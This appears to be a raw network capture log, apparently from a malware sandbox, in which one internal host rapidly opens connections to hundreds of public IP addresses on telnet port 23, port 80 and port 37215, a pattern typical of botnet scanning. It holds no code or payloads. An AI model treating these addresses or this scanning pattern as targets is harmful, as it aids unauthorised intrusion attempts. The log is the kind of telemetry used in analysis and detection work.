Jan 5, 2025 14:26:50.620064974 CET	57214	23	192.168.2.13	85.233.20.223
Jan 5, 2025 14:26:50.620075941 CET	57214	23	192.168.2.13	154.39.233.45
Jan 5, 2025 14:26:50.620075941 CET	57214	23	192.168.2.13	59.74.10.77
Jan 5, 2025 14:26:50.620079994 CET	57214	23	192.168.2.13	186.248.23.195
Jan 5, 2025 14:26:50.620095015 CET	57214	23	192.168.2.13	168.211.65.232
Jan 5, 2025 14:26:50.620095015 CET	57214	23	192.168.2.13	149.59.73.227
Jan 5, 2025 14:26:50.620096922 CET	57214	23	192.168.2.13	65.177.39.5
Jan 5, 2025 14:26:50.620106936 CET	57214	23	192.168.2.13	96.184.247.74
Jan 5, 2025 14:26:50.620107889 CET	57214	23	192.168.2.13	188.65.142.218
Jan 5, 2025 14:26:50.620107889 CET	57214	23	192.168.2.13	97.244.188.126
Jan 5, 2025 14:26:50.620160103 CET	57214	23	192.168.2.13	51.237.1.44
Jan 5, 2025 14:26:50.620162010 CET	57214	23	192.168.2.13	175.77.29.221
Jan 5, 2025 14:26:50.620162010 CET	57214	23	192.168.2.13	131.189.136.54
Jan 5, 2025 14:26:50.620162010 CET	57214	23	192.168.2.13	48.235.248.152
Jan 5, 2025 14:26:50.620170116 CET	57214	23	192.168.2.13	58.177.55.227
Jan 5, 2025 14:26:50.620176077 CET	57214	23	192.168.2.13	41.71.254.238
Jan 5, 2025 14:26:50.620209932 CET	57214	23	192.168.2.13	188.24.189.35
Jan 5, 2025 14:26:50.620212078 CET	57214	23	192.168.2.13	110.23.9.138
Jan 5, 2025 14:26:50.620212078 CET	57214	23	192.168.2.13	191.50.54.210
Jan 5, 2025 14:26:50.620212078 CET	57214	23	192.168.2.13	190.137.7.71
Jan 5, 2025 14:26:50.620212078 CET	57214	23	192.168.2.13	110.4.248.16
Jan 5, 2025 14:26:50.620230913 CET	57214	23	192.168.2.13	97.158.73.3
Jan 5, 2025 14:26:50.620232105 CET	57214	23	192.168.2.13	150.177.238.28
Jan 5, 2025 14:26:50.620233059 CET	57214	23	192.168.2.13	38.146.94.161
Jan 5, 2025 14:26:50.620233059 CET	57214	23	192.168.2.13	113.4.133.26
Jan 5, 2025 14:26:50.620265961 CET	57214	23	192.168.2.13	201.25.15.236
Jan 5, 2025 14:26:50.620266914 CET	57214	23	192.168.2.13	89.127.50.58
Jan 5, 2025 14:26:50.620270014 CET	57214	23	192.168.2.13	2.231.151.107
Jan 5, 2025 14:26:50.620276928 CET	57214	23	192.168.2.13	207.72.207.248
Jan 5, 2025 14:26:50.620289087 CET	57214	23	192.168.2.13	173.244.217.192
Jan 5, 2025 14:26:50.620289087 CET	57214	23	192.168.2.13	131.132.97.99
Jan 5, 2025 14:26:50.620291948 CET	57214	23	192.168.2.13	172.172.13.117
Jan 5, 2025 14:26:50.620292902 CET	57214	23	192.168.2.13	146.101.195.220
Jan 5, 2025 14:26:50.620367050 CET	57214	23	192.168.2.13	65.18.24.59
Jan 5, 2025 14:26:50.620371103 CET	57214	23	192.168.2.13	52.131.112.2
Jan 5, 2025 14:26:50.620384932 CET	57214	23	192.168.2.13	34.55.157.159
Jan 5, 2025 14:26:50.620389938 CET	57214	23	192.168.2.13	166.107.36.24
Jan 5, 2025 14:26:50.620389938 CET	57214	23	192.168.2.13	24.119.91.168
Jan 5, 2025 14:26:50.620404005 CET	57214	23	192.168.2.13	120.122.162.56
Jan 5, 2025 14:26:50.620404005 CET	57214	23	192.168.2.13	12.228.60.6
Jan 5, 2025 14:26:50.620460033 CET	57214	23	192.168.2.13	100.155.58.4
Jan 5, 2025 14:26:50.620460987 CET	57214	23	192.168.2.13	164.86.109.100
Jan 5, 2025 14:26:50.620460987 CET	57214	23	192.168.2.13	197.128.224.118
Jan 5, 2025 14:26:50.620465040 CET	57214	23	192.168.2.13	1.149.87.165
Jan 5, 2025 14:26:50.620491028 CET	57214	23	192.168.2.13	48.3.252.68
Jan 5, 2025 14:26:50.620492935 CET	57214	23	192.168.2.13	205.14.167.148
Jan 5, 2025 14:26:50.620496988 CET	57214	23	192.168.2.13	167.191.90.62
Jan 5, 2025 14:26:50.620501995 CET	57214	23	192.168.2.13	187.33.34.190
Jan 5, 2025 14:26:50.620503902 CET	57214	23	192.168.2.13	205.76.155.145
Jan 5, 2025 14:26:50.620505095 CET	57214	23	192.168.2.13	180.214.136.208
Jan 5, 2025 14:26:50.620526075 CET	57214	23	192.168.2.13	155.141.209.243
Jan 5, 2025 14:26:50.620526075 CET	57214	23	192.168.2.13	174.31.45.121
Jan 5, 2025 14:26:50.620526075 CET	57214	23	192.168.2.13	160.212.103.14
Jan 5, 2025 14:26:50.620531082 CET	57214	23	192.168.2.13	145.125.59.194
Jan 5, 2025 14:26:50.620533943 CET	57214	23	192.168.2.13	41.76.7.222
Jan 5, 2025 14:26:50.620539904 CET	57214	23	192.168.2.13	124.240.89.22
Jan 5, 2025 14:26:50.620933056 CET	56958	80	192.168.2.13	142.139.46.107
Jan 5, 2025 14:26:50.620937109 CET	56958	80	192.168.2.13	91.189.157.107
Jan 5, 2025 14:26:50.620937109 CET	56958	80	192.168.2.13	147.247.224.172
Jan 5, 2025 14:26:50.620944023 CET	56958	80	192.168.2.13	9.233.82.106
Jan 5, 2025 14:26:50.620949984 CET	56958	80	192.168.2.13	176.216.180.25
Jan 5, 2025 14:26:50.621014118 CET	56446	37215	192.168.2.13	197.155.46.107
Jan 5, 2025 14:26:50.621015072 CET	56446	37215	192.168.2.13	156.231.96.172
Jan 5, 2025 14:26:50.621015072 CET	56446	37215	192.168.2.13	197.173.157.107
Jan 5, 2025 14:26:50.621066093 CET	56958	80	192.168.2.13	41.21.54.23
Jan 5, 2025 14:26:50.621066093 CET	56958	80	192.168.2.13	184.95.254.5
Jan 5, 2025 14:26:50.621078968 CET	56958	80	192.168.2.13	153.181.238.197
Jan 5, 2025 14:26:50.621090889 CET	56958	80	192.168.2.13	9.132.155.25
Jan 5, 2025 14:26:50.621090889 CET	56958	80	192.168.2.13	89.199.27.11
Jan 5, 2025 14:26:50.621090889 CET	56958	80	192.168.2.13	210.128.137.57
Jan 5, 2025 14:26:50.621092081 CET	56958	80	192.168.2.13	117.121.118.197
Jan 5, 2025 14:26:50.621105909 CET	56958	80	192.168.2.13	117.155.220.228
Jan 5, 2025 14:26:50.621108055 CET	56958	80	192.168.2.13	105.133.213.246
Jan 5, 2025 14:26:50.621117115 CET	56958	80	192.168.2.13	185.153.2.192
Jan 5, 2025 14:26:50.621119976 CET	56958	80	192.168.2.13	174.253.1.237
Jan 5, 2025 14:26:50.621126890 CET	56958	80	192.168.2.13	92.153.93.212
Jan 5, 2025 14:26:50.621130943 CET	56958	80	192.168.2.13	150.161.168.175
Jan 5, 2025 14:26:50.621134043 CET	56958	80	192.168.2.13	200.238.217.220
Jan 5, 2025 14:26:50.621145010 CET	56958	80	192.168.2.13	168.43.45.98
Jan 5, 2025 14:26:50.621155024 CET	56958	80	192.168.2.13	117.34.205.198
Jan 5, 2025 14:26:50.621159077 CET	56958	80	192.168.2.13	135.84.248.53
Jan 5, 2025 14:26:50.621169090 CET	56958	80	192.168.2.13	169.14.43.37
Jan 5, 2025 14:26:50.621167898 CET	56958	80	192.168.2.13	162.21.99.246
Jan 5, 2025 14:26:50.621169090 CET	56958	80	192.168.2.13	178.47.129.0
Jan 5, 2025 14:26:50.621170998 CET	56958	80	192.168.2.13	149.57.209.174
Jan 5, 2025 14:26:50.621186018 CET	56958	80	192.168.2.13	153.248.170.70
Jan 5, 2025 14:26:50.621186018 CET	56958	80	192.168.2.13	191.160.9.212
Jan 5, 2025 14:26:50.621189117 CET	56958	80	192.168.2.13	207.77.248.35
Jan 5, 2025 14:26:50.621192932 CET	56958	80	192.168.2.13	9.2.35.146
Jan 5, 2025 14:26:50.621196985 CET	56958	80	192.168.2.13	142.222.151.93
Jan 5, 2025 14:26:50.621200085 CET	56958	80	192.168.2.13	48.240.61.28
Jan 5, 2025 14:26:50.621212006 CET	56958	80	192.168.2.13	43.104.248.47
Jan 5, 2025 14:26:50.621215105 CET	56958	80	192.168.2.13	211.9.69.124
Jan 5, 2025 14:26:50.621216059 CET	56958	80	192.168.2.13	184.237.170.20
Jan 5, 2025 14:26:50.621232986 CET	56958	80	192.168.2.13	102.182.231.252
Jan 5, 2025 14:26:50.621237040 CET	56958	80	192.168.2.13	32.149.175.177
Jan 5, 2025 14:26:50.621237040 CET	56958	80	192.168.2.13	52.20.130.84
Jan 5, 2025 14:26:50.621243000 CET	56958	80	192.168.2.13	223.219.164.213
Jan 5, 2025 14:26:50.621247053 CET	56958	80	192.168.2.13	20.162.242.173
Jan 5, 2025 14:26:50.621256113 CET	56958	80	192.168.2.13	12.71.139.194
Jan 5, 2025 14:26:50.621267080 CET	56958	80	192.168.2.13	193.167.226.234
Jan 5, 2025 14:26:50.621268988 CET	56958	80	192.168.2.13	158.107.44.83
Jan 5, 2025 14:26:50.621279955 CET	56958	80	192.168.2.13	201.149.213.15
Jan 5, 2025 14:26:50.621280909 CET	56958	80	192.168.2.13	23.249.20.209
Jan 5, 2025 14:26:50.621283054 CET	56958	80	192.168.2.13	52.126.193.22
Jan 5, 2025 14:26:50.621284962 CET	56958	80	192.168.2.13	70.33.163.62
Jan 5, 2025 14:26:50.621284962 CET	56958	80	192.168.2.13	67.173.61.93
Jan 5, 2025 14:26:50.621284962 CET	56958	80	192.168.2.13	142.187.7.47
Jan 5, 2025 14:26:50.621306896 CET	56958	80	192.168.2.13	71.122.78.13
Jan 5, 2025 14:26:50.621306896 CET	56958	80	192.168.2.13	20.97.142.228
Jan 5, 2025 14:26:50.621309042 CET	56958	80	192.168.2.13	158.223.76.107
Jan 5, 2025 14:26:50.621314049 CET	56958	80	192.168.2.13	23.244.6.214
Jan 5, 2025 14:26:50.621315002 CET	56958	80	192.168.2.13	149.83.20.55
Jan 5, 2025 14:26:50.621319056 CET	56958	80	192.168.2.13	19.213.103.42
Jan 5, 2025 14:26:50.621320009 CET	56958	80	192.168.2.13	136.127.115.141
Jan 5, 2025 14:26:50.621320963 CET	56958	80	192.168.2.13	44.238.230.190
Jan 5, 2025 14:26:50.621335030 CET	56958	80	192.168.2.13	57.216.213.59
Jan 5, 2025 14:26:50.621335983 CET	56958	80	192.168.2.13	91.90.77.243
Jan 5, 2025 14:26:50.621351957 CET	56958	80	192.168.2.13	4.171.182.22
Jan 5, 2025 14:26:50.621352911 CET	56958	80	192.168.2.13	184.240.71.168
Jan 5, 2025 14:26:50.621357918 CET	56958	80	192.168.2.13	46.97.173.3
Jan 5, 2025 14:26:50.621371984 CET	56958	80	192.168.2.13	73.230.32.170
Jan 5, 2025 14:26:50.621373892 CET	56958	80	192.168.2.13	18.225.77.146
Jan 5, 2025 14:26:50.621377945 CET	56958	80	192.168.2.13	103.241.237.90
Jan 5, 2025 14:26:50.621391058 CET	56958	80	192.168.2.13	223.162.127.87
Jan 5, 2025 14:26:50.621392012 CET	56958	80	192.168.2.13	166.145.13.59
Jan 5, 2025 14:26:50.621397018 CET	56958	80	192.168.2.13	173.203.128.7
Jan 5, 2025 14:26:50.621397972 CET	56958	80	192.168.2.13	158.130.196.32
Jan 5, 2025 14:26:50.621401072 CET	56958	80	192.168.2.13	118.145.185.147
Jan 5, 2025 14:26:50.621412992 CET	56958	80	192.168.2.13	91.66.10.40
Jan 5, 2025 14:26:50.621417999 CET	56958	80	192.168.2.13	73.64.225.97
Jan 5, 2025 14:26:50.621419907 CET	56958	80	192.168.2.13	207.156.66.189
Jan 5, 2025 14:26:50.621433973 CET	56958	80	192.168.2.13	140.99.38.143
Jan 5, 2025 14:26:50.621433973 CET	56958	80	192.168.2.13	198.250.67.211
Jan 5, 2025 14:26:50.621452093 CET	56958	80	192.168.2.13	210.26.15.220
Jan 5, 2025 14:26:50.621450901 CET	56958	80	192.168.2.13	182.174.204.196
Jan 5, 2025 14:26:50.621450901 CET	56958	80	192.168.2.13	37.183.60.194
Jan 5, 2025 14:26:50.621457100 CET	56958	80	192.168.2.13	165.130.66.74
Jan 5, 2025 14:26:50.621450901 CET	56958	80	192.168.2.13	199.209.141.4
Jan 5, 2025 14:26:50.621464014 CET	56958	80	192.168.2.13	134.127.138.70
Jan 5, 2025 14:26:50.621468067 CET	56958	80	192.168.2.13	106.3.68.87
Jan 5, 2025 14:26:50.621468067 CET	56958	80	192.168.2.13	192.169.154.69
Jan 5, 2025 14:26:50.621476889 CET	56958	80	192.168.2.13	190.1.35.82
Jan 5, 2025 14:26:50.621486902 CET	56958	80	192.168.2.13	149.242.215.247
Jan 5, 2025 14:26:50.621486902 CET	56958	80	192.168.2.13	64.229.12.69
Jan 5, 2025 14:26:50.621489048 CET	56958	80	192.168.2.13	188.74.19.33
Jan 5, 2025 14:26:50.621486902 CET	56958	80	192.168.2.13	118.194.250.204
Jan 5, 2025 14:26:50.621489048 CET	56958	80	192.168.2.13	100.224.226.61
Jan 5, 2025 14:26:50.621493101 CET	56958	80	192.168.2.13	77.170.185.144
Jan 5, 2025 14:26:50.621503115 CET	56958	80	192.168.2.13	42.2.202.141
Jan 5, 2025 14:26:50.621509075 CET	56958	80	192.168.2.13	102.240.102.97
Jan 5, 2025 14:26:50.621509075 CET	56958	80	192.168.2.13	115.113.243.186
Jan 5, 2025 14:26:50.621512890 CET	56958	80	192.168.2.13	194.61.81.17
Jan 5, 2025 14:26:50.621526957 CET	56958	80	192.168.2.13	69.167.140.32
Jan 5, 2025 14:26:50.621526957 CET	56958	80	192.168.2.13	124.110.16.34
Jan 5, 2025 14:26:50.621526957 CET	56958	80	192.168.2.13	80.168.120.206
Jan 5, 2025 14:26:50.621527910 CET	56958	80	192.168.2.13	70.206.160.254
Jan 5, 2025 14:26:50.621527910 CET	56958	80	192.168.2.13	149.106.196.161
Jan 5, 2025 14:26:50.621531010 CET	56958	80	192.168.2.13	84.15.86.20
Jan 5, 2025 14:26:50.621535063 CET	56958	80	192.168.2.13	72.160.53.65
Jan 5, 2025 14:26:50.621541023 CET	56958	80	192.168.2.13	183.188.138.232
Jan 5, 2025 14:26:50.621551991 CET	56958	80	192.168.2.13	142.107.113.94
Jan 5, 2025 14:26:50.621560097 CET	56958	80	192.168.2.13	80.235.139.78
Jan 5, 2025 14:26:50.621560097 CET	56958	80	192.168.2.13	86.60.228.82
Jan 5, 2025 14:26:50.621562004 CET	56958	80	192.168.2.13	103.10.109.124
Jan 5, 2025 14:26:50.621570110 CET	56958	80	192.168.2.13	172.238.60.254
Jan 5, 2025 14:26:50.621572971 CET	56958	80	192.168.2.13	190.183.214.22
Jan 5, 2025 14:26:50.621577978 CET	56958	80	192.168.2.13	87.239.224.115
Jan 5, 2025 14:26:50.621578932 CET	56958	80	192.168.2.13	116.194.119.26
Jan 5, 2025 14:26:50.621578932 CET	56958	80	192.168.2.13	192.184.8.235
Jan 5, 2025 14:26:50.621594906 CET	56958	80	192.168.2.13	36.3.149.9
Jan 5, 2025 14:26:50.621599913 CET	56958	80	192.168.2.13	136.143.8.217
Jan 5, 2025 14:26:50.621601105 CET	56958	80	192.168.2.13	80.49.90.14
Jan 5, 2025 14:26:50.621618032 CET	56958	80	192.168.2.13	168.126.5.221
Jan 5, 2025 14:26:50.621619940 CET	56958	80	192.168.2.13	70.148.212.1
Jan 5, 2025 14:26:50.621623039 CET	56958	80	192.168.2.13	50.159.226.213
Jan 5, 2025 14:26:50.621635914 CET	56958	80	192.168.2.13	39.119.44.130
Jan 5, 2025 14:26:50.621635914 CET	56958	80	192.168.2.13	86.96.150.38
Jan 5, 2025 14:26:50.621642113 CET	56958	80	192.168.2.13	48.38.206.29
Jan 5, 2025 14:26:50.621644020 CET	56958	80	192.168.2.13	221.2.67.12
Jan 5, 2025 14:26:50.621655941 CET	56958	80	192.168.2.13	110.97.95.75
Jan 5, 2025 14:26:50.621659040 CET	56958	80	192.168.2.13	139.235.124.212
Jan 5, 2025 14:26:50.621668100 CET	56958	80	192.168.2.13	12.190.242.34
Jan 5, 2025 14:26:50.621676922 CET	56958	80	192.168.2.13	85.228.147.59
Jan 5, 2025 14:26:50.621680975 CET	56958	80	192.168.2.13	120.2.92.169
Jan 5, 2025 14:26:50.621695995 CET	56958	80	192.168.2.13	69.254.49.105
Jan 5, 2025 14:26:50.621696949 CET	56958	80	192.168.2.13	123.78.212.170
Jan 5, 2025 14:26:50.621700048 CET	56958	80	192.168.2.13	83.200.51.100
Jan 5, 2025 14:26:50.621702909 CET	56958	80	192.168.2.13	41.59.19.152
Jan 5, 2025 14:26:50.621704102 CET	56958	80	192.168.2.13	57.52.35.86
Jan 5, 2025 14:26:50.621704102 CET	56958	80	192.168.2.13	134.206.255.241
Jan 5, 2025 14:26:50.621706963 CET	56958	80	192.168.2.13	70.69.32.234
Jan 5, 2025 14:26:50.621707916 CET	56958	80	192.168.2.13	182.155.125.8
Jan 5, 2025 14:26:50.621707916 CET	56958	80	192.168.2.13	38.142.5.178
Jan 5, 2025 14:26:50.621711016 CET	56958	80	192.168.2.13	134.134.229.217
Jan 5, 2025 14:26:50.621715069 CET	56958	80	192.168.2.13	149.63.105.73
Jan 5, 2025 14:26:50.621725082 CET	56958	80	192.168.2.13	156.17.216.81
Jan 5, 2025 14:26:50.621726036 CET	56958	80	192.168.2.13	37.83.231.137
Jan 5, 2025 14:26:50.621731043 CET	56958	80	192.168.2.13	183.66.18.74
Jan 5, 2025 14:26:50.621733904 CET	56958	80	192.168.2.13	205.193.127.145
Jan 5, 2025 14:26:50.621741056 CET	56958	80	192.168.2.13	124.138.243.251
Jan 5, 2025 14:26:50.621756077 CET	56958	80	192.168.2.13	54.211.42.240
Jan 5, 2025 14:26:50.621756077 CET	56958	80	192.168.2.13	185.116.27.215
Jan 5, 2025 14:26:50.621761084 CET	56958	80	192.168.2.13	25.234.192.78
Jan 5, 2025 14:26:50.621777058 CET	56958	80	192.168.2.13	25.115.190.23
Jan 5, 2025 14:26:50.621777058 CET	56958	80	192.168.2.13	61.90.64.15
Jan 5, 2025 14:26:50.621783972 CET	56958	80	192.168.2.13	200.183.46.103
Jan 5, 2025 14:26:50.621783972 CET	56958	80	192.168.2.13	105.177.206.247
Jan 5, 2025 14:26:50.621788025 CET	56958	80	192.168.2.13	51.169.111.57
Jan 5, 2025 14:26:50.621794939 CET	56958	80	192.168.2.13	160.244.235.155
Jan 5, 2025 14:26:50.621799946 CET	56958	80	192.168.2.13	174.240.204.36
Jan 5, 2025 14:26:50.621808052 CET	56958	80	192.168.2.13	36.99.117.231
Jan 5, 2025 14:26:50.621814013 CET	56958	80	192.168.2.13	36.175.157.54
Jan 5, 2025 14:26:50.621819973 CET	56958	80	192.168.2.13	108.111.179.167
Jan 5, 2025 14:26:50.621831894 CET	56958	80	192.168.2.13	108.190.250.156
Jan 5, 2025 14:26:50.621833086 CET	56958	80	192.168.2.13	208.211.130.68
Jan 5, 2025 14:26:50.621839046 CET	56958	80	192.168.2.13	148.36.183.246
Jan 5, 2025 14:26:50.621848106 CET	56958	80	192.168.2.13	18.167.97.59
Jan 5, 2025 14:26:50.621850967 CET	56958	80	192.168.2.13	41.120.115.29
Jan 5, 2025 14:26:50.621850967 CET	56958	80	192.168.2.13	97.106.135.116
Jan 5, 2025 14:26:50.621851921 CET	56958	80	192.168.2.13	27.79.20.173
Jan 5, 2025 14:26:50.621855021 CET	56958	80	192.168.2.13	50.215.87.182
Jan 5, 2025 14:26:50.621869087 CET	56958	80	192.168.2.13	154.14.30.41
Jan 5, 2025 14:26:50.621875048 CET	56958	80	192.168.2.13	31.58.148.188
Jan 5, 2025 14:26:50.621880054 CET	56958	80	192.168.2.13	9.116.58.20
Jan 5, 2025 14:26:50.621880054 CET	56958	80	192.168.2.13	138.19.179.4
Jan 5, 2025 14:26:50.621898890 CET	56958	80	192.168.2.13	197.32.140.145
Jan 5, 2025 14:26:50.621898890 CET	56958	80	192.168.2.13	99.17.216.187
Jan 5, 2025 14:26:50.621898890 CET	56958	80	192.168.2.13	73.77.188.209
Jan 5, 2025 14:26:50.621901035 CET	56958	80	192.168.2.13	153.133.83.204
Jan 5, 2025 14:26:50.621901989 CET	56958	80	192.168.2.13	169.120.4.213
Jan 5, 2025 14:26:50.621901989 CET	56958	80	192.168.2.13	74.226.184.245
Jan 5, 2025 14:26:50.621921062 CET	56958	80	192.168.2.13	27.27.198.21
Jan 5, 2025 14:26:50.621922016 CET	56958	80	192.168.2.13	5.172.204.96
Jan 5, 2025 14:26:50.621922016 CET	56958	80	192.168.2.13	194.65.238.93
Jan 5, 2025 14:26:50.621933937 CET	56958	80	192.168.2.13	128.161.192.164
Jan 5, 2025 14:26:50.621937990 CET	56958	80	192.168.2.13	123.145.209.85
Jan 5, 2025 14:26:50.621939898 CET	56958	80	192.168.2.13	60.147.183.193
Jan 5, 2025 14:26:50.621939898 CET	56958	80	192.168.2.13	106.250.57.101
Jan 5, 2025 14:26:50.621948957 CET	56958	80	192.168.2.13	100.60.190.130
Jan 5, 2025 14:26:50.621951103 CET	56958	80	192.168.2.13	9.45.230.72
Jan 5, 2025 14:26:50.621953011 CET	56958	80	192.168.2.13	219.172.11.130
Jan 5, 2025 14:26:50.621962070 CET	56958	80	192.168.2.13	140.238.7.42
Jan 5, 2025 14:26:50.621962070 CET	56958	80	192.168.2.13	163.158.210.43
Jan 5, 2025 14:26:50.621978045 CET	56958	80	192.168.2.13	171.10.235.237
Jan 5, 2025 14:26:50.621978045 CET	56958	80	192.168.2.13	156.128.47.162
Jan 5, 2025 14:26:50.621982098 CET	56958	80	192.168.2.13	68.115.120.36
Jan 5, 2025 14:26:50.621995926 CET	56958	80	192.168.2.13	19.205.233.76
Jan 5, 2025 14:26:50.621999025 CET	56958	80	192.168.2.13	186.100.196.100
Jan 5, 2025 14:26:50.621999979 CET	56958	80	192.168.2.13	131.80.151.135
Jan 5, 2025 14:26:50.622004032 CET	56958	80	192.168.2.13	189.38.103.141
Jan 5, 2025 14:26:50.622006893 CET	56958	80	192.168.2.13	152.161.176.248
Jan 5, 2025 14:26:50.622020960 CET	56958	80	192.168.2.13	105.127.160.174
Jan 5, 2025 14:26:50.622020960 CET	56958	80	192.168.2.13	137.240.174.221
Jan 5, 2025 14:26:50.622025013 CET	56958	80	192.168.2.13	122.163.191.183
Jan 5, 2025 14:26:50.622025013 CET	56958	80	192.168.2.13	96.60.38.46
Jan 5, 2025 14:26:50.622025013 CET	56958	80	192.168.2.13	155.182.186.131
Jan 5, 2025 14:26:50.622025967 CET	56958	80	192.168.2.13	205.226.194.126
Jan 5, 2025 14:26:50.622029066 CET	56958	80	192.168.2.13	101.160.230.210
Jan 5, 2025 14:26:50.622030973 CET	56958	80	192.168.2.13	45.208.164.97
Jan 5, 2025 14:26:50.622045040 CET	56958	80	192.168.2.13	162.166.63.235
Jan 5, 2025 14:26:50.622049093 CET	56958	80	192.168.2.13	131.114.82.90
Jan 5, 2025 14:26:50.622049093 CET	56958	80	192.168.2.13	129.224.161.60
Jan 5, 2025 14:26:50.622051001 CET	56958	80	192.168.2.13	185.24.244.207
Jan 5, 2025 14:26:50.622061014 CET	56958	80	192.168.2.13	165.1.46.250
Jan 5, 2025 14:26:50.622070074 CET	56958	80	192.168.2.13	8.31.4.0
Jan 5, 2025 14:26:50.622076988 CET	56958	80	192.168.2.13	143.6.89.177
Jan 5, 2025 14:26:50.622083902 CET	56958	80	192.168.2.13	35.60.207.201
Jan 5, 2025 14:26:50.622086048 CET	56958	80	192.168.2.13	113.241.219.62
Jan 5, 2025 14:26:50.622092962 CET	56958	80	192.168.2.13	85.4.77.197
Jan 5, 2025 14:26:50.622108936 CET	56958	80	192.168.2.13	14.104.2.13
Jan 5, 2025 14:26:50.622112036 CET	56958	80	192.168.2.13	49.20.63.101
Jan 5, 2025 14:26:50.622118950 CET	56958	80	192.168.2.13	59.208.198.10
Jan 5, 2025 14:26:50.622123003 CET	56958	80	192.168.2.13	188.162.249.222
Jan 5, 2025 14:26:50.622127056 CET	56958	80	192.168.2.13	130.211.118.246
Jan 5, 2025 14:26:50.622132063 CET	56958	80	192.168.2.13	64.253.114.115
Jan 5, 2025 14:26:50.622136116 CET	56958	80	192.168.2.13	94.212.90.123
Jan 5, 2025 14:26:50.622142076 CET	56958	80	192.168.2.13	211.42.234.192
Jan 5, 2025 14:26:50.622142076 CET	56958	80	192.168.2.13	35.206.127.82
Jan 5, 2025 14:26:50.622143984 CET	23	57214	134.131.46.107	192.168.2.13
Jan 5, 2025 14:26:50.622160912 CET	23	57214	72.171.16.106	192.168.2.13
Jan 5, 2025 14:26:50.622164011 CET	56958	80	192.168.2.13	23.126.162.29
Jan 5, 2025 14:26:50.622167110 CET	56958	80	192.168.2.13	83.48.88.35
Jan 5, 2025 14:26:50.622169971 CET	56958	80	192.168.2.13	75.14.231.138
Jan 5, 2025 14:26:50.622172117 CET	23	57214	91.181.157.107	192.168.2.13
Jan 5, 2025 14:26:50.622172117 CET	56958	80	192.168.2.13	210.99.115.218
Jan 5, 2025 14:26:50.622172117 CET	56958	80	192.168.2.13	76.27.35.96
Jan 5, 2025 14:26:50.622184992 CET	23	57214	218.255.160.172	192.168.2.13
Jan 5, 2025 14:26:50.622195005 CET	57214	23	192.168.2.13	72.171.16.106
Jan 5, 2025 14:26:50.622195005 CET	57214	23	192.168.2.13	134.131.46.107
Jan 5, 2025 14:26:50.622198105 CET	57214	23	192.168.2.13	91.181.157.107
Jan 5, 2025 14:26:50.622198105 CET	23	57214	185.144.244.25	192.168.2.13
Jan 5, 2025 14:26:50.622210979 CET	23	57214	40.87.116.21	192.168.2.13
Jan 5, 2025 14:26:50.622214079 CET	57214	23	192.168.2.13	218.255.160.172
Jan 5, 2025 14:26:50.622216940 CET	56958	80	192.168.2.13	96.138.235.171
Jan 5, 2025 14:26:50.622224092 CET	57214	23	192.168.2.13	185.144.244.25
Jan 5, 2025 14:26:50.622225046 CET	23	57214	192.109.44.215	192.168.2.13
Jan 5, 2025 14:26:50.622235060 CET	56958	80	192.168.2.13	157.201.216.142
Jan 5, 2025 14:26:50.622236967 CET	23	57214	184.207.93.58	192.168.2.13
Jan 5, 2025 14:26:50.622240067 CET	57214	23	192.168.2.13	40.87.116.21
Jan 5, 2025 14:26:50.622242928 CET	57214	23	192.168.2.13	192.109.44.215
Jan 5, 2025 14:26:50.622247934 CET	23	57214	73.90.13.63	192.168.2.13
Jan 5, 2025 14:26:50.622256041 CET	56958	80	192.168.2.13	87.175.188.62
Jan 5, 2025 14:26:50.622261047 CET	57214	23	192.168.2.13	184.207.93.58
Jan 5, 2025 14:26:50.622262001 CET	23	57214	173.74.147.115	192.168.2.13
Jan 5, 2025 14:26:50.622263908 CET	56958	80	192.168.2.13	95.175.199.124
Jan 5, 2025 14:26:50.622272968 CET	23	57214	27.7.219.11	192.168.2.13
Jan 5, 2025 14:26:50.622276068 CET	57214	23	192.168.2.13	73.90.13.63
Jan 5, 2025 14:26:50.622279882 CET	23	57214	165.48.177.188	192.168.2.13
Jan 5, 2025 14:26:50.622284889 CET	56958	80	192.168.2.13	178.196.38.35
Jan 5, 2025 14:26:50.622298002 CET	57214	23	192.168.2.13	27.7.219.11
Jan 5, 2025 14:26:50.622298956 CET	56958	80	192.168.2.13	164.84.37.20
Jan 5, 2025 14:26:50.622299910 CET	23	57214	82.1.190.6	192.168.2.13
Jan 5, 2025 14:26:50.622306108 CET	57214	23	192.168.2.13	165.48.177.188
Jan 5, 2025 14:26:50.622306108 CET	57214	23	192.168.2.13	173.74.147.115
Jan 5, 2025 14:26:50.622313023 CET	23	57214	62.204.53.104	192.168.2.13
Jan 5, 2025 14:26:50.622324944 CET	23	57214	189.110.96.5	192.168.2.13
Jan 5, 2025 14:26:50.622328043 CET	56958	80	192.168.2.13	40.184.158.185
Jan 5, 2025 14:26:50.622329950 CET	57214	23	192.168.2.13	82.1.190.6
Jan 5, 2025 14:26:50.622339010 CET	23	57214	57.87.60.192	192.168.2.13
Jan 5, 2025 14:26:50.622339010 CET	57214	23	192.168.2.13	62.204.53.104
Jan 5, 2025 14:26:50.622353077 CET	23	57214	35.44.156.252	192.168.2.13
Jan 5, 2025 14:26:50.622353077 CET	57214	23	192.168.2.13	189.110.96.5
Jan 5, 2025 14:26:50.622354031 CET	56958	80	192.168.2.13	120.193.242.255
Jan 5, 2025 14:26:50.622361898 CET	56958	80	192.168.2.13	96.99.9.108
Jan 5, 2025 14:26:50.622364044 CET	57214	23	192.168.2.13	57.87.60.192
Jan 5, 2025 14:26:50.622365952 CET	23	57214	171.249.220.193	192.168.2.13
Jan 5, 2025 14:26:50.622378111 CET	23	57214	81.141.49.95	192.168.2.13
Jan 5, 2025 14:26:50.622381926 CET	56958	80	192.168.2.13	126.118.226.128
Jan 5, 2025 14:26:50.622386932 CET	56958	80	192.168.2.13	75.94.62.81
Jan 5, 2025 14:26:50.622389078 CET	57214	23	192.168.2.13	35.44.156.252
Jan 5, 2025 14:26:50.622389078 CET	56958	80	192.168.2.13	187.23.45.51
Jan 5, 2025 14:26:50.622390032 CET	23	57214	130.4.212.38	192.168.2.13
Jan 5, 2025 14:26:50.622401953 CET	23	57214	20.64.35.248	192.168.2.13
Jan 5, 2025 14:26:50.622404099 CET	57214	23	192.168.2.13	171.249.220.193
Jan 5, 2025 14:26:50.622406960 CET	57214	23	192.168.2.13	81.141.49.95
Jan 5, 2025 14:26:50.622415066 CET	23	57214	120.162.210.222	192.168.2.13
Jan 5, 2025 14:26:50.622421980 CET	57214	23	192.168.2.13	130.4.212.38
Jan 5, 2025 14:26:50.622426987 CET	23	57214	194.18.196.49	192.168.2.13
Jan 5, 2025 14:26:50.622431040 CET	57214	23	192.168.2.13	20.64.35.248
